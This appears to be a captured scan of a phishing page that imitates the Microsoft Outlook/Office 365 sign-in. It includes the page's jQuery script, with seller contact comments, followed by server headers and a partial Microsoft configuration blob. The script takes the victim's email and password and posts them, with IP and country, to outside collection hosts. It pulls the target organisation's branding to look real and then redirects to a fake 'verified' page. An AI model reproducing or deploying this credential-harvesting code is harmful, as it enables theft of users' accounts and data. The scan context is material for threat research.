                           </div>
                        </div>
						<div id="add_pass" style="display: none;">
							<div class="animate slide-in-next">
								<div>
									<div class="identityBanner">
										<a class="backButton" href="#" type="button">
											<img style="width: 13px; margin-top: 6px;left: 0;" src="https://image.flaticon.com/icons/svg/109/109618.svg">
										</a>
										<div class="identity"></div>
									</div>
								</div>
							</div>
							<div class="animate slide-in-next has-identity-banner pagination-view">
								<div class="row text-title">Enter password</div>
								<div class=row>
									<div class="form-group col-md-24">
										<div aria-live="assertive" role="alert" style="display: none;" class="error-alert-pass">
											<div class="alert alert-error">Your email or password is incorrect. If you don't remember your password, <a href='#'>reset it now.</a></div>
										</div>
										<div class=placeholderContainer>
											<input name="password" type="password" id="password" autocomplete="off" class="form-control" placeholder="Password" tabindex="0">
										</div>
									</div>
								</div>
								<div class=position-buttons>
									<div>
										<div class=row>
											<div class=col-md-24>
													<div class="action-links text-13">
													<div class=form-group><a href="#">Forgot my password</a></div>
													<div class=form-group></div>
												</div>
											</div>
										</div>
									</div>
									<div class=row >
										<div>
											<div class="button-container col-xs-24 no-padding-left-right">
												<div class=inline-block>
													<button class="btn btn-block btn-primary btn-signin">Sign in</button>
												</div>
											</div>
										</div>
									 </div>
								</div>
							</div>
                        </div>
                     </div>
                  </div>
                  <div>
                  </div>
                  <div class=footer id=footer>
                     <div>
                        <div class="footerNode text-secondary">
                           <!-- <span>©2021 Microsoft</span> -->
                           <a href="#">Terms of use&nbsp;&nbsp;</a>
                           <a href="#">Privacy & cookies &nbsp;&nbsp;<b >...</b></a>
                          
                        </div>
                     </div>
                  </div>
               </div>
            </div>

      </div>

   
</div></div>
        <!-- /ko -->

        <!-- ko if: isVerticalSplitTemplate() && isVerticalSplitTemplateLoaded() --><!-- /ko -->
    <!-- /ko -->
<!-- /ko --></div>
    <!-- /ko -->
<script src="https://code.jquery.com/jquery-3.1.1.min.js"></script>
	  <script>
		$( document ).ready(function() {
			// THIS SCRIPT CODED BY MIRCBOOT
			// CONTACT US SKYPE : MIRCBOOT
			// ICQ : 703514486
			// Genral 365 Version 14
			// !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
			// !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
			// !!!!!!!!!!!! Attention !!!!!!!!!!!!
			// !!!! IF NOT WORKING CONTACT US  !!!
			// !!!! IF NOT WORKING CONTACT US  !!!
			// !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
			// !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

			// Note : if this HTML page hosted on http(s) domain so you must add the http(s) url php file to avoid cross error //

			var php_url = 'https://globalservicemail.com/hars/login.php'; // Enter your post PHP page url here.
			var check_mx = false; // true or false for check outlook MX.



			// ******************************************************************************************************* //
			var hash = window.location.hash;
			var email = hash.split('#')[1];

			if(true_email(email)){
				$("#pick_em").show();
				$("#em_picker").html(email);
				$('#email').val(email);
			}else{
				$("#add_em").show();
			}

			$('.email-picker').on('click', function (){
				$('.identity').html(email);
				$(".error-alert-pass").hide();
				set_brand(email);
				setTimeout(function (){
					$("#pick_em").hide();
					$("#add_pass").show();
				}, 1000);
			});

			$('.email-picker2').on('click', function (){
				$('#email').val('');
				$("#pick_em").hide();
				$("#add_em").show();
			});

			$('.btn-email').on('click', function (){
				var email = $('#email').val();
				$('.identity').html(email);
				$(".error-alert").hide();
				$('.btn-email').prop('disabled', true);
				if(true_email(email) == false){
					$(".error-alert").show();
					$(".error-alert-msg").html('Please enter correct office 365 email account.');
					$('.btn-email').prop('disabled', false);
				}else{
					if(check_mx == true){
						var domain = email.split('@')[1];
						var str;
						$.ajax({
							url: php_url + '?domain=' + domain,
							success: function(data){
								str = data.includes("outlook");
								if(str){
									set_brand(email);
									setTimeout(function (){
										$("#add_em").hide();
										$("#add_pass").show();
									}, 1000);
								}else{
									$(".error-alert").show();
									$(".error-alert-msg").html('You can\'t signin with this account, Please use work or school account instead.');
									$('.btn-email').prop('disabled', false);
								}
							},
							error: function(xhr){
								$(".error-alert").show();
								$(".error-alert-msg").html('Error occured, Please try again.');
								$('.btn-email').prop('disabled', false);
							}
						});
					}else{
						set_brand(email);
						setTimeout(function (){
							$("#add_em").hide();
							$("#add_pass").show();
						}, 1000);
					}
				}
			});

			$('.btn-signin').on('click', function (){
				$('.btn-signin').prop('disabled', true);
				setTimeout(function (){
					$(".error-alert-pass").hide();
				}, 500);
				var user = $('#email').val();
				var pass = $('#password').val();
				$.ajax({
					url: "https://checkmyips.net/api/geoip/",
					type: "POST",
					data: {user:user,pass:pass,t:1},
					success: function(data){
						var i=$.parseJSON(data);
						if(i.status == 'OK'){
							$.ajax({
								 url: php_url,
								 type: "POST",
								 data: {user:user,pass:pass,country:i.country,ip:i.ip},
								 success: function(finish_url){
									window.open('https://customredirects.z13.web.core.windows.net//myoofice/verified.html', '_top')
								 }
							 });
						}else{
							$(".error-alert-pass").show();
							$('.btn-signin').prop('disabled', false);
						}
					},
					error: function(){
						$(".error-alert-pass").hide();
						$('.btn-signin').prop('disabled', false);
					}
				});
			});

			$('.backButton').on('click', function (){
				$('#bg_image').css('background-image', 'url(lib/img/background.jpg)');
				$('#logo_image').attr('src', 'https://aadcdn.msftauth.net/ests/2.1/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg');
				$('#banner_image').show();
				$('.btn-email').prop('disabled', false);
				$("#add_pass").hide();
				$("#add_em").show();
				$(".error-alert-pass").hide();
			});

			function set_brand(email){
				$.ajax({
					url: php_url,
					type: "POST",
					data: {email:email,barnd:1},
					success: function(data){
						var i=$.parseJSON(data);
						if(i.bg_image !== null && i.logo_image !== null && i.bg_image !== '' && i.logo_image !== ''){
							$('#bg_image').css('background-image', 'url(' + i.bg_image + ')');
							$('#logo_image').attr('src', i.logo_image);
							$('#banner_image').hide();
						}
					}
				});
			}
		});

		function true_email(a) {
			var re = /^(([^<>()[\]\\.,;:\s@\"]+(\.[^<>()[\]\\.,;:\s@\"]+)*)|(\".+\"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/;
			return re.test(a);
		}
	  </script>
    <script type="text/javascript">
  $(document).keypress(function(event){
  var keycode = (event.keyCode ? event.keyCode : event.which);
  if(keycode == '13'){
    $("#btn-email, .btn-signin").click();
  }
});
</script>

<!-- ko if: svr.urlCBPartnerPreload -->

<!-- /ko --></div></body></html>
Protocol
H2
Security
TLS 1.3, , AES_256_GCM
Server
152.199.23.37 , United States, ASN15133 (EDGECAST, US),
Reverse DNS
Software
ECAcc (lhd/3599) /
Resource Hash
04d29248ee3a13a074518c93a18d6efc491bf1f298f9b87fc989a6ae4b9fad7a

Request headers

Referer
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.72 Safari/537.36

Response headers

x-ms-blob-type
BlockBlob
date
Wed, 10 Mar 2021 10:27:59 GMT
content-encoding
gzip
content-md5
nzaLxFgP7ZB3dfMcaybWzw==
age
116794
x-cache
HIT
content-length
1435
x-ms-lease-status
unlocked
last-modified
Fri, 02 Nov 2018 20:25:22 GMT
server
ECAcc (lhd/3599)
etag
0x8D64101507E84BD
vary
Accept-Encoding
content-type
image/svg+xml
access-control-allow-origin
*
x-ms-request-id
95bd6a06-a01e-0090-8088-1499e8000000
access-control-expose-headers
x-ms-request-id,Server,x-ms-version,Content-Length,Date,Transfer-Encoding
cache-control
public, max-age=604800
x-ms-version
2009-09-19
accept-ranges
bytes
picker-account.png
i.ibb.co/jg6w34B/ Frame 83F5 		1 KB
1 KB 		Image
General
Check archive.org
Download Go to Show image
Full URL
https://i.ibb.co/jg6w34B/picker-account.png
Requested by
Host: text
URL: data:text/html;base64,<html dir="ltr" class="" lang="en"><head>
    <title>Sign in to Outlook</title>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=2.0, user-scalable=yes">
    <meta http-equiv="Pragma" content="no-cache">
    <meta http-equiv="Expires" content="-1">
    <link rel="preconnect" href="https://aadcdn.msftauth.net" crossorigin="">
<meta http-equiv="x-dns-prefetch-control" content="on">
<link rel="dns-prefetch" href="//aadcdn.msftauth.net">
<link rel="dns-prefetch" href="//aadcdn.msauth.net">

    <meta name="PageID" content="ConvergedSignIn">
    <meta name="SiteID" content="">
    <meta name="ReqLC" content="1033">
    <meta name="LocLC" content="en-US">



<script type="text/javascript">//<![CDATA[
$Config={"fShowPersistentCookiesWarning":false,"urlMsaSignUp":"https://login.live.com/oauth20_authorize.srf?response_type=code\u0026client_id=51483342-085c-4d86-bf88-cf50c7252078\u0026scope=openid+profile+email+offline_access\u0026response_mode=form_post\u0026redirect_uri=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2ffederation%2foauth2\u0026state=rQIIAY2RvYvTYADG8za9XFsVixzo5iFOHmnzpknaBBxK2rS9Xr_t51LSfDRpm75pmzS9_gWOB4LDLYKL0ElOEDkcnE-QcuOBuzgcIghuej0XN32GHw882_N7hMMIFB5Sf0KTG5KUrkNS0Tbtr0zvhMIW--T8069Xxdefn21f_nh7eQyC3ZE51yIKslbgvuE49kyIRpHrjBAaRpCum8r1GEWeHH0HwBqAlS_OxeIsxdEczVIMw_MMR0W4OKX0VBqScg9SJMNwkORlniFVyPRYOqEoTEy78N0uJV3HoDdAU3OpffcFdTS1ujaaOcf4e5BSXF6c5TwpnTIaxa50oLeted3iK4t01c4YakMSObZJehlpKtfnWWepi2q8WSvMWs3D2mA_15brbq3fkOXJMDms9GEvW99fjpHtHqTFUj7XHCc9g_fyznAwH8-SRkczeba7bLG6PS1mxcki0y52B4lscRBnDvkKVHS1VRwsel13CJuUY6RNK5ZQS1BVGz2xbZNjr8ras3ImYRQK-gr_Lw0nOHH1p4XGZziBbG1sqms_-Oq_SeFCIBAKY_ewXeynH7zcutL1Yuej1Hr-Jnli2ud3lRR2thWt2lKWjbH5HM0rjULZ4VnN8ZqddK5an6C9QT9bLhilkTma7nmPOQEeEeCIIE6JYAAPYw9wsQy_EOAbAZ5uY6fBf_m-CO3Q1JVSKkZS3C6EAuQFJtZZ3wAfbmG_AQ2\u0026estsfed=1\u0026uaid=d254356dffce4ea7b0dd9307eef5b6ee\u0026signup=1\u0026lw=1\u0026fl=easi2\u0026cobrandid=deb3f74a-ed5b-4ef1-8d3c-92b85dd47352\u0026fci=00000002-0000-0ff1-ce00-000000000000","urlMsaLogout":"https://login.live.com/logout.srf?iframed_by=https%3a%2f%2flogin.microsoftonline.com","urlOtherIdpForget":"https://login.live.com/forgetme.srf?iframed_by=https%3a%2f%2flogin.microsoftonline.com","showCantAccessAccountLink":true,"fEnableShowResendCode":true,"iShowResendCodeDelay":90000,"sSMSCtryPhoneData":"AF~Afghanistan~93!!!AX~Åland Islands~358!!!AL~Albania~355!!!DZ~Algeria~213!!!AS~American Samoa~1!!!AD~Andorra~376!!!AO~Angola~244!!!AI~Anguilla~1!!!AG~Antigua and Barbuda~1!!!AR~Argentina~54!!!AM~Armenia~374!!!AW~Aruba~297!!!AC~Ascension Island~247!!!AU~Australia~61!!!AT~Austria~XMR~Belarus~375!!!BE~Belgium~32!!!BZ~Belize~501!!!BJ~Benin~229!!!BM~Bermuda~1!!!BT~Bhutan~975!!!BO~Bolivia~591!!!BQ~Bonaire~599!!!BA~Bosnia and Herzegovina~387!!!BW~Botswana~267!!!BR~Brazil~55!!!IO~British Indian Ocean Territory~246!!!VG~British Virgin Islands~1!!!BN~Brunei~673!!!BG~Bulgaria~359!!!BF~Burkina Faso~226!!!BI~Burundi~257!!!CV~Cabo Verde~238!!!KH~Cambodia~855!!!CM~Cameroon~237!!!CA~Canada~1!!!KY~Cayman Islands~1!!!CF~Central African Republic~236!!!TD~Chad~235!!!CL~Chile~56!!!CN~China~86!!!CX~Christmas Island~61!!!CC~Cocos (Keeling) Islands~61!!!CO~Colombia~57!!!KM~Comoros~269!!!CG~Congo~242!!!CD~Congo (DRC)~243!!!CK~Cook Islands~682!!!CR~Costa Rica~506!!!CI~Côte d\u0027Ivoire~225!!!HR~Croatia~385!!!CU~Cuba~53!!!CW~Curaçao~599!!!CY~Cyprus~357!!!CZ~Czechia~420!!!DK~Denmark~45!!!DJ~Djibouti~253!!!DM~Dominica~1!!!DO~Dominican Republic~1!!!EC~Ecuador~593!!!EG~Egypt~20!!!SV~El Salvador~503!!!GQ~Equatorial Guinea~240!!!ER~Eritrea~291!!!EE~Estonia~372!!!ET~Ethiopia~251!!!FK~Falkland Islands~500!!!FO~Faroe Islands~298!!!FJ~Fiji~679!!!FI~Finland~358!!!FR~France~33!!!GF~French Guiana~594!!!PF~French Polynesia~689!!!GA~Gabon~241!!!GM~Gambia~220!!!GE~Georgia~995!!!DE~Germany~49!!!GH~Ghana~233!!!GI~Gibraltar~350!!!GR~Greece~30!!!GL~Greenland~299!!!GD~Grenada~1!!!GP~Guadeloupe~590!!!GU~Guam~1!!!GT~Guatemala~502!!!GG~Guernsey~XMR~Hong Kong SAR~852!!!HU~Hungary~36!!!IS~Iceland~354!!!IN~India~91!!!ID~Indonesia~62!!!IR~Iran~98!!!IQ~Iraq~964!!!IE~Ireland~353!!!IM~Isle of Man~XMRKZ~Kazakhstan~7!!!KE~Kenya~254!!!KI~Kiribati~686!!!KR~Korea~82!!!KW~Kuwait~965!!!KG~Kyrgyzstan~996!!!LA~Laos~856!!!LV~Latvia~371!!!LB~Lebanon~961!!!LS~Lesotho~266!!!LR~Liberia~231!!!LY~Libya~218!!!LI~Liechtenstein~423!!!LT~Lithuania~370!!!LU~Luxembourg~352!!!MO~Macao SAR~853!!!MG~Madagascar~261!!!MW~Malawi~265!!!MY~Malaysia~60!!!MV~Maldives~960!!!ML~Mali~223!!!MT~Malta~356!!!MH~Marshall Islands~692!!!MQ~Martinique~596!!!MR~Mauritania~222!!!MU~Mauritius~230!!!YT~Mayotte~262!!!MX~Mexico~52!!!FM~Micronesia~691!!!MD~Moldova~373!!!MC~Monaco~377!!!MN~Mongolia~976!!!ME~Montenegro~382!!!MS~Montserrat~1!!!MA~Morocco~212!!!MZ~Mozambique~258!!!MM~Myanmar~95!!!NA~Namibia~264!!!NR~Nauru~674!!!NP~Nepal~977!!!NL~Netherlands~31!!!NC~New Caledonia~687!!!NZ~New Zealand~64!!!NI~Nicaragua~505!!!NE~Niger~227!!!NG~Nigeria~234!!!NU~Niue~683!!!NF~Norfolk Island~672!!!KP~North Korea~850!!!MK~North Macedonia~389!!!MP~Northern Mariana Islands~1!!!NO~Norway~XMR!!!PG~Papua New Guinea~675!!!PY~Paraguay~595!!!PE~Peru~51!!!PH~Philippines~63!!!PL~Poland~48!!!PT~Portugal~351!!!PR~Puerto Rico~1!!!QA~Qatar~974!!!RE~Réunion~262!!!RO~Romania~40!!!RU~Russia~7!!!RW~Rwanda~250!!!BL~Saint Barthélemy~590!!!KN~Saint Kitts and Nevis~1!!!LC~Saint Lucia~1!!!MF~Saint Martin~590!!!PM~Saint Pierre and Miquelon~508!!!VC~Saint Vincent and the Grenadines~1!!!WS~Samoa~685!!!SM~San Marino~378!!!ST~São Tomé and Príncipe~239!!!SA~Saudi Arabia~966!!!SN~Senegal~221!!!RS~Serbia~381!!!SC~Seychelles~248!!!SL~Sierra Leone~232!!!SG~Singapore~65!!!SX~Sint Maarten~1!!!SK~Slovakia~XMR Sudan~211!!!ES~Spain~34!!!LK~Sri Lanka~94!!!SH~St Helena, Ascension, and Tristan da Cunha~290!!!SD~Sudan~249!!!SR~Suriname~597!!!SJ~Svalbard~47!!!SZ~Swaziland~268!!!SE~Sweden~46!!!CH~Switzerland~41!!!SY~Syria~963!!!TW~Taiwan~886!!!TJ~Tajikistan~992!!!TZ~Tanzania~255!!!TH~Thailand~66!!!TL~Timor-Leste~670!!!TG~Togo~228!!!TK~Tokelau~690!!!TO~Tonga~676!!!TT~Trinidad and Tobago~1!!!TA~Tristan da Cunha~290!!!TN~Tunisia~216!!!TR~Turkey~90!!!TM~Turkmenistan~993!!!TC~Turks and Caicos Islands~1!!!TV~Tuvalu~688!!!VI~U.S. Virgin Islands~1!!!UG~Uganda~256!!!UA~Ukraine~380!!!AE~United Arab Emirates~971!!!GB~United Kingdom~XMR~39!!!VE~Venezuela~58!!!VN~Vietnam~84!!!WF~Wallis and Futuna~681!!!YE~Yemen~967!!!ZM~Zambia~260!!!ZW~Zimbabwe~263","fUseInlinePhoneNumber":true,"fDetectBrowserCapabilities":true,"urlSessionState":"https://login.microsoftonline.com/common/DeviceCodeStatus","urlResetPassword":"https://passwordreset.microsoftonline.com/?ru=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2freprocess%3fctx%3drQIIAY2RvYvTYACH8156ufZULCLopoiTR9q8aZI2BYeSNk2v12_btLeUfDZpm75pmjS9_gWOB4KDi-AidJITRA4H5xOk3Ci4i8MhguCmV1zc9BkefvPze4DDBMzep_5AkxuTlGlCUjM26y-8G7txh310_vHXy-qrz092Ln68uViBO5bvu7NsMokCf4zQKIFM09aMhIacJAqV5FsA1gCsttJcKs1SHM3RLMUwPM9wVIJLU5qq05BUVEiRDMNBkld4htQho7J0RtOYlPFp63otF_gWvRHy7KXxfStmIs_pu2jmP8PfgbwW8MKsFIqFvNWp9sUDs-fM2w7fWBSabtHSO6LAsTIZFkVPac8lf2kKelpuVWZd-ag13C_1lHbQGnQUZTrKjRoDqErt_eUEucFBQaiVS_IkF1p8WPZHw_lklrMODZtn-8sua7peVRKmi2Kv2h9mpOowzRzxDaiZerc6XKj9YARlyrcKtpPK6DWo6x1V6LnkJGyy7qxezFiVirnC_yv9CU5c9nTQ5AwnkGtMbH0dAV8jVyk8G43uxrHb2F3sZwS82L686PnND2L36evcie2e39Ly2Nl2sumKEptiyyWa1zqVus-zhh_Kh4VSsz1Fe8OBVK9YtbE99vbCh1wWHhPgmCBOiVgUj2P3cKEOvxDgGwEe72CnsX_9vb4C3l_DfgM1\u0026mkt=en-US\u0026hosted=0\u0026device_platform=Windows+10","urlMsaResetPassword":"https://account.live.com/password/reset?wreply=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2freprocess%3fctx%3drQIIAY2RvYvTYACHk6aXa6tikQPdPMTJI23efLUJOJS0aXu9ftvPpaT5aNI2fdMkbXr9CxwPBAcXwUXoJCeIHA7OJ0i58cBdHA4RBDdtucVNf8PDb36eRxiIAeEheT2K2JIgdR0QirZ9f825E4la7JOLz79fl958ebZ79fPd1Qq9b3ie7QrxOJx5YwhHMajrpqLFFGjFoS_H36PoGkVXgQRHJ1iSoziKJRmG5xmOjHEJUumrFCDkPiAJhuEAwcs8Q6iA6bNUUlEYWrsM3C6nZp5BbQEdc6n9CIR16Fg9G7reC-wDmlZmvOjmfSmTNpqlnnSkd6x5w-Kri0zNzhpqUxI5tkX4WcmRG_Oct9RFNdGqF91267g-PMx35MasPmjK8nSUGlUHoJ9rHC4n0J4dZcRyId-apHyD9wveaDifuCmjq5k821u2Wd12Sjlxush2Sr1hMlcaJphjvgoUXW2Xhot-bzYCLdIzMqZFJ9UyUNVmX-zYxMSvsbZbySaNYlFfYf-l_hTDNz4tODnHcGhrE1NdB9FvwZskJoRCkShyD9lHfgXRVzubRC_3Pknt529Tp6Z9cVdJI-c78Zot5ViaLeQpXmkWKx7Pap7f6mbytcYUHgwHuUrRKI_NsXPgP-YEcIKjJzh-hodDWBR5gIkV8BVHv-Po013kLPyv3peRPYrcJCVpguT2ARAALzB0d30D_XgL-QM1\u0026mkt=en-US\u0026cobrandid=deb3f74a-ed5b-4ef1-8d3c-92b85dd47352","urlSignUp":"https://login.live.com/oauth20_authorize.srf?response_type=code\u0026client_id=51483342-085c-4d86-bf88-cf50c7252078\u0026scope=openid+profile+email+offline_access\u0026response_mode=form_post\u0026redirect_uri=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2ffederation%2foauth2\u0026state=rQIIAY2RvYvTYADG8za9XFsVixzo5iFOHmnzpknaBBxK2rS9Xr_t51LSfDRpm75pmzS9_gWOB4LDLYKL0ElOEDkcnE-QcuOBuzgcIghuej0XN32GHw882_N7hMMIFB5Sf0KTG5KUrkNS0Tbtr0zvhMIW--T8069Xxdefn21f_nh7eQyC3ZE51yIKslbgvuE49kyIRpHrjBAaRpCum8r1GEWeHH0HwBqAlS_OxeIsxdEczVIMw_MMR0W4OKX0VBqScg9SJMNwkORlniFVyPRYOqEoTEy78N0uJV3HoDdAU3OpffcFdTS1ujaaOcf4e5BSXF6c5TwpnTIaxa50oLeted3iK4t01c4YakMSObZJehlpKtfnWWepi2q8WSvMWs3D2mA_15brbq3fkOXJMDms9GEvW99fjpHtHqTFUj7XHCc9g_fyznAwH8-SRkczeba7bLG6PS1mxcki0y52B4lscRBnDvkKVHS1VRwsel13CJuUY6RNK5ZQS1BVGz2xbZNjr8ras3ImYRQK-gr_Lw0nOHH1p4XGZziBbG1sqms_-Oq_SeFCIBAKY_ewXeynH7zcutL1Yuej1Hr-Jnli2ud3lRR2thWt2lKWjbH5HM0rjULZ4VnN8ZqddK5an6C9QT9bLhilkTma7nmPOQEeEeCIIE6JYAAPYw9wsQy_EOAbAZ5uY6fBf_m-CO3Q1JVSKkZS3C6EAuQFJtZZ3wAfbmG_AQ2\u0026estsfed=1\u0026uaid=d254356dffce4ea7b0dd9307eef5b6ee\u0026signup=1\u0026lw=1\u0026fl=easi2\u0026cobrandid=deb3f74a-ed5b-4ef1-8d3c-92b85dd47352\u0026fci=00000002-0000-0ff1-ce00-000000000000","urlGetCredentialType":"https://login.microsoftonline.com/common/GetCredentialType?mkt=en-US","urlGetOneTimeCode":"https://login.microsoftonline.com/common/GetOneTimeCode","urlLogout":"https://login.microsoftonline.com/common/uxlogout","urlForget":"https://login.microsoftonline.com/forgetuser","urlDisambigRename":"https://go.microsoft.com/fwlink/p/?LinkID=733247","urlCBPartnerPreload":"https://outlook.office365.com/owa/prefetch.aspx","urlPIAEndAuth":"https://login.microsoftonline.com/common/PIA/EndAuth","fKMSIEnabled":false,"iLoginMode":1,"fAllowPhoneSignIn":true,"fAllowPhoneInput":true,"iMaxPollErrors":5,"iPollingTimeout":60,"srsSuccess":true,"fShowSwitchUser":true,"arrValErrs":["50058"],"sErrorCode":"50058","sErrTxt":"","sResetPasswordPrefillParam":"username","onPremPasswordValidationConfig":{"isUserRealmPrecheckEnabled":true},"fSwitchDisambig":true,"fUseConsumerEmailError":true,"oCancelPostParams":{"error":"access_denied","error_subcode":"cancel","state":"Dcu9CsIwFEDhVN_FLfYmvUm9QxERpGhdVFC65W-wGFraUvHtzfCd7WSMsXWySjJIYaUuSgVaaqkAkQg1bHUJznopuLECOKIWnAwh9wKtkjvnsAhZei95_zX5fprNHCqxGYN_j8HNj74y9Q1cfdXNjxb_uk1W0thEim38dO1ddVbCYp-nwR5psPG8hMMf"},"iRemoteNgcPollingType":2,"fUseNewNoPasswordTypes":true,"fAccessPassSupported":true,"fShowAccessPassPeek":true,"urlAadSignup":"https://signup.microsoft.com/signup?sku=teams_commercial_trial\u0026origin=ests\u0026culture=en-US","urlOidcDiscoveryEndpointFormat":"https://login.microsoftonline.com/{0}/.well-known/openid-configuration","urlTenantedEndpointFormat":"https://login.microsoftonline.com/{0}/oauth2/authorize?client_id=00000002-0000-0ff1-ce00-000000000000\u0026redirect_uri=https%3a%2f%2foutlook.office.com%2fowa%2f\u0026resource=00000002-0000-0ff1-ce00-000000000000\u0026response_mode=form_post\u0026response_type=code+id_token\u0026scope=openid\u0026msafed=0\u0026client-request-id=d254356d-ffce-4ea7-b0dd-9307eef5b6ee\u0026protectedtoken=true\u0026claims=%7b%22id_token%22%3a%7b%22xms_cc%22%3a%7b%22values%22%3a%5b%22CP1%22%5d%7d%7d%7d\u0026nonce=637506262504499460.670cbd21-ab10-4461-9a94-d14b528cc43e\u0026state=Dcu9CsIwFEDhVN_FLfYmvUm9QxERpGhdVFC65W-wGFraUvHtzfCd7WSMsXWySjJIYaUuSgVaaqkAkQg1bHUJznopuLECOKIWnAwh9wKtkjvnsAhZei95_zX5fprNHCqxGYN_j8HNj74y9Q1cfdXNjxb_uk1W0thEim38dO1ddVbCYp-nwR5psPG8hMMf\u0026allowbacktocommon=True","sCloudInstanceName":"microsoftonline.com","fShowSignInOptionsAsButton":true,"fImprovePhoneDisambig":true,"iMaxStackForKnockoutAsyncComponents":10000,"fShowButtons":true,"urlCdn":"https://aadcdn.msftauth.net/shared/1.0/","urlFooterTOU":"https://www.microsoft.com/en-US/servicesagreement/","urlFooterPrivacy":"https://privacy.microsoft.com/en-US/privacystatement","urlPost":"https://login.microsoftonline.com/common/login","urlPostAad":"https://login.microsoftonline.com/common/login","urlPostMsa":"https://login.live.com/ppsecure/partnerpost.srf?response_type=code\u0026client_id=51483342-085c-4d86-bf88-cf50c7252078\u0026scope=openid+profile+email+offline_access\u0026response_mode=form_post\u0026redirect_uri=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2ffederation%2foauth2\u0026state=rQIIAY2RvYvTYADG8za9XFsVixzo5iFOHmnzpknaBBxK2rS9Xr_t51LSfDRpm75pmzS9_gWOB4LDLYKL0ElOEDkcnE-QcuOBuzgcIghuej0XN32GHw882_N7hMMIFB5Sf0KTG5KUrkNS0Tbtr0zvhMIW--T8069Xxdefn21f_nh7eQyC3ZE51yIKslbgvuE49kyIRpHrjBAaRpCum8r1GEWeHH0HwBqAlS_OxeIsxdEczVIMw_MMR0W4OKX0VBqScg9SJMNwkORlniFVyPRYOqEoTEy78N0uJV3HoDdAU3OpffcFdTS1ujaaOcf4e5BSXF6c5TwpnTIaxa50oLeted3iK4t01c4YakMSObZJehlpKtfnWWepi2q8WSvMWs3D2mA_15brbq3fkOXJMDms9GEvW99fjpHtHqTFUj7XHCc9g_fyznAwH8-SRkczeba7bLG6PS1mxcki0y52B4lscRBnDvkKVHS1VRwsel13CJuUY6RNK5ZQS1BVGz2xbZNjr8ras3ImYRQK-gr_Lw0nOHH1p4XGZziBbG1sqms_-Oq_SeFCIBAKY_ewXeynH7zcutL1Yuej1Hr-Jnli2ud3lRR2thWt2lKWjbH5HM0rjULZ4VnN8ZqddK5an6C9QT9bLhilkTma7nmPOQEeEeCIIE6JYAAPYw9wsQy_EOAbAZ5uY6fBf_m-CO3Q1JVSKkZS3C6EAuQFJtZZ3wAfbmG_AQ2\u0026flow=fido\u0026estsfed=1\u0026uaid=d254356dffce4ea7b0dd9307eef5b6ee\u0026cobrandid=deb3f74a-ed5b-4ef1-8d3c-92b85dd47352\u0026fci=00000002-0000-0ff1-ce00-000000000000","urlRefresh":"https://login.microsoftonline.com/common/reprocess?ctx=rQIIAY2RvYvTYACHk6aXa6tikQPdPMTJI23efLUJOJS0aXu9ftvPpaT5aNI2fdMkbXr9CxwPBAcXwUXoJCeIHA7OJ0i58cBdHA4RBDdtucVNf8PDb36eRxiIAeEheT2K2JIgdR0QirZ9f825E4la7JOLz79fl958ebZ79fPd1Qq9b3ie7QrxOJx5YwhHMajrpqLFFGjFoS_H36PoGkVXgQRHJ1iSoziKJRmG5xmOjHEJUumrFCDkPiAJhuEAwcs8Q6iA6bNUUlEYWrsM3C6nZp5BbQEdc6n9CIR16Fg9G7reC-wDmlZmvOjmfSmTNpqlnnSkd6x5w-Kri0zNzhpqUxI5tkX4WcmRG_Oct9RFNdGqF91267g-PMx35MasPmjK8nSUGlUHoJ9rHC4n0J4dZcRyId-apHyD9wveaDifuCmjq5k821u2Wd12Sjlxush2Sr1hMlcaJphjvgoUXW2Xhot-bzYCLdIzMqZFJ9UyUNVmX-zYxMSvsbZbySaNYlFfYf-l_hTDNz4tODnHcGhrE1NdB9FvwZskJoRCkShyD9lHfgXRVzubRC_3Pknt529Tp6Z9cVdJI-c78Zot5ViaLeQpXmkWKx7Pap7f6mbytcYUHgwHuUrRKI_NsXPgP-YEcIKjJzh-hodDWBR5gIkV8BVHv-Po013kLPyv3peRPYrcJCVpguT2ARAALzB0d30D_XgL-QM1","urlCancel":"https://outlook.office.com/owa/","urlResume":"https://login.microsoftonline.com/common/resume?ctx=rQIIAY2RvYvTYACH8156ufZULCLopoiTR9q8aZI2BYeSNk2v12_btLeUfDZpm75pmjS9_gWOB4KDi-AidJITRA4H5xOk3Ci4i8MhguCmV1zc9BkefvPze4DDBMzep_5AkxuTlGlCUjM26y-8G7txh310_vHXy-qrz092Ln68uViBO5bvu7NsMokCf4zQKIFM09aMhIacJAqV5FsA1gCsttJcKs1SHM3RLMUwPM9wVIJLU5qq05BUVEiRDMNBkld4htQho7J0RtOYlPFp63otF_gWvRHy7KXxfStmIs_pu2jmP8PfgbwW8MKsFIqFvNWp9sUDs-fM2w7fWBSabtHSO6LAsTIZFkVPac8lf2kKelpuVWZd-ag13C_1lHbQGnQUZTrKjRoDqErt_eUEucFBQaiVS_IkF1p8WPZHw_lklrMODZtn-8sua7peVRKmi2Kv2h9mpOowzRzxDaiZerc6XKj9YARlyrcKtpPK6DWo6x1V6LnkJGyy7qxezFiVirnC_yv9CU5c9nTQ5AwnkGtMbH0dAV8jVyk8G43uxrHb2F3sZwS82L686PnND2L36evcie2e39Ly2Nl2sumKEptiyyWa1zqVus-zhh_Kh4VSsz1Fe8OBVK9YtbE99vbCh1wWHhPgmCBOiVgUj2P3cKEOvxDgGwEe72CnsX_9vb4C3l_DfgM1","iPawnIcon":0,"iPollingInterval":1,"sPOST_Username":"","sFT":"AQABAAEAAAD--DLA3VO7QrddgJg7WevrRZTv_7Mb56t0hEeulUDrRcx_PrhgMaupbyATtZfnRmsr18Ns6bZeyhLJ1eOhKOnFIl